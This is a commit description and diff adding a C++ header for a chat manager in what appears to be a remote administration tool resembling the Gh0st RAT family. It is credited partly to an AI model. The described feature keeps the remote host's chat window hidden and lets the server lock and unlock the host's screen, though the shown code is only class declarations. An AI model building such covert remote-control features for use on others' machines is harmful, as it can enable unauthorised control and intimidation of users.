Feature: Two-way remote chat (远程交谈)

Add a "远程交谈" toolbar button (placed after 连接管理) that sends COMMAND_CHAT(161) to the selected host. The host opens a sub-connection and the new CChatManager replies with TOKEN_CHAT_START(62) to open the server's existing CChat dialog. The host's chat window stays hidden until the first message or a screen-lock command arrives, and it supports server-triggered screen lock/unlock.

Co-Authored-By: deepseek-v4-pro

client/ChatManager.h

@@ -0,0 +1,30 @@
+// ChatManager.h: interface for the CChatManager class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#pragma once
+
+#include "Manager.h"
+
+#if ENABLE_MESSAGE==0
+#define CChatManager CManager
+#else
+
+class CChatManager : public CManager
+{
+public:
+    HINSTANCE m_hInstance;
+    CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr);
+    virtual ~CChatManager();
+    VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
+
+private:
+    BOOL   m_bRun;
+    HANDLE m_hThread;
+    HWND   m_hWnd;
+
+    static DWORD WINAPI MessageLoopProc(LPVOID lParam);
+    static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
+};
+
+#endif